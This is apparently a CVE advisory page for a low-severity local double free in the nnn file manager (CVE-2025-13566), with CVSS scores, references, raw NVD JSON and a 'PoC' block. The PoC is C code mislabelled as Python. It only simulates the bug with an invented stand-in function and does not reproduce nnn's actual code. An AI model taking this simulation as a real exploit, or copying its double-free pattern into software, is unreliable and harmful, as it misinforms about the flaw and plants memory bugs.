Security Vulnerability Report
中文
CVE-2025-13566 CVSS 3.3 LOW

CVE-2025-13566

Published: 2025-11-23 20:15:40
Last Modified: 2026-04-15 00:35:42

Description

A security vulnerability has been detected in jarun nnn up to 5.1. The impacted element is the function show_content_in_floating_window/run_cmd_as_plugin of the file nnn/src/nnn.c. The manipulation leads to double free. An attack has to be approached locally. The identifier of the patch is 2f07ccdf21e705377862e5f9dfa31e1694979ac7. It is suggested to install a patch to address this issue.

CVSS Details

CVSS Score
3.3
Severity
LOW
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

No configuration data available.

jarun nnn <= 5.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-13566 PoC - Double Free in jarun nnn // Description: Trigger double free in show_content_in_floating_window/run_cmd_as_plugin // Affected: jarun nnn <= 5.1 #include <stdio.h> #include <stdlib.h> #include <string.h> /* * This PoC demonstrates the double free vulnerability in jarun nnn. * The vulnerability occurs in nnn/src/nnn.c in functions: * - show_content_in_floating_window * - run_cmd_as_plugin * * Attack Vector: * 1. Attacker needs local access to the system * 2. Attacker crafts a specific sequence of operations * 3. Trigger the vulnerable code path through plugin execution * * Note: This is a conceptual PoC. Actual exploitation requires * specific conditions and memory layout manipulation. */ #define MALICIOUS_PAYLOAD_SIZE 256 typedef struct { char *data; size_t size; } plugin_context_t; // Simulated vulnerable function from nnn.c int show_content_in_floating_window(plugin_context_t *ctx) { char *buffer = malloc(MALICIOUS_PAYLOAD_SIZE); if (!buffer) return -1; // Vulnerable: No NULL check after potential free if (ctx && ctx->data) { strncpy(buffer, ctx->data, MALICIOUS_PAYLOAD_SIZE - 1); buffer[MALICIOUS_PAYLOAD_SIZE - 1] = '\0'; } // First free (legitimate) free(buffer); // Simulated code path that can lead to double free // In real scenario, this happens through specific plugin operations if (ctx && ctx->size > MALICIOUS_PAYLOAD_SIZE) { // Code path that reuses the freed pointer // This creates the double free condition free(buffer); // DOUBLE FREE - second free of same pointer } return 0; } int run_cmd_as_plugin(const char *cmd) { plugin_context_t ctx = {0}; ctx.data = strdup(cmd); ctx.size = strlen(cmd) + 1; // Trigger vulnerable function int result = show_content_in_floating_window(&ctx); free(ctx.data); return result; } int main(int argc, char *argv[]) { printf("[*] CVE-2025-13566 PoC - jarun nnn Double Free\n"); printf("[*] Affected: jarun nnn <= 5.1\n"); printf("[*] Function: show_content_in_floating_window/run_cmd_as_plugin\n\n"); // Construct malicious input to trigger vulnerability char exploit_cmd[MALICIOUS_PAYLOAD_SIZE * 2]; memset(exploit_cmd, 'A', sizeof(exploit_cmd) - 1); exploit_cmd[sizeof(exploit_cmd) - 1] = '\0'; printf("[*] Triggering double free vulnerability...\n"); run_cmd_as_plugin(exploit_cmd); printf("[!] Vulnerability triggered - double free occurred\n"); printf("[*] In real exploitation, this could lead to:\n"); printf(" - Application crash (DoS)\n"); printf(" - Heap corruption\n"); printf(" - Potential code execution\n"); return 0; } // Mitigation: Update to nnn version with patch 2f07ccdf21e705377862e5f9dfa31e1694979ac7

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13566", "sourceIdentifier": "[email protected]", "published": "2025-11-23T20:15:39.960", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security vulnerability has been detected in jarun nnn up to 5.1. The impacted element is the function show_content_in_floating_window/run_cmd_as_plugin of the file nnn/src/nnn.c. The manipulation leads to double free. An attack has to be approached locally. The identifier of the patch is 2f07ccdf21e705377862e5f9dfa31e1694979ac7. It is suggested to install a patch to address this issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:L/Au:S/C:N/I:N/A:P", "baseScore": 1.7, "accessVector": "LOCAL", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "PARTIAL"}, "baseSeverity": "LOW", "exploitabilityScore": 3.1, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-415"}]}], "references": [{"url": "https://github.com/jarun/nnn/commit/2f07ccdf21e705377862e5f9dfa31e1694979ac7", "source": "[email protected]"}, {"url": "https://github.com/jarun/nnn/issues/2091#issue-3635886658", "source": "[email protected]"}, {"url": "https://github.com/jarun/nnn/issues/2091#issuecomment-3547591759", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.333330", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.333330", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.698113", "source": "[email protected]"}]}}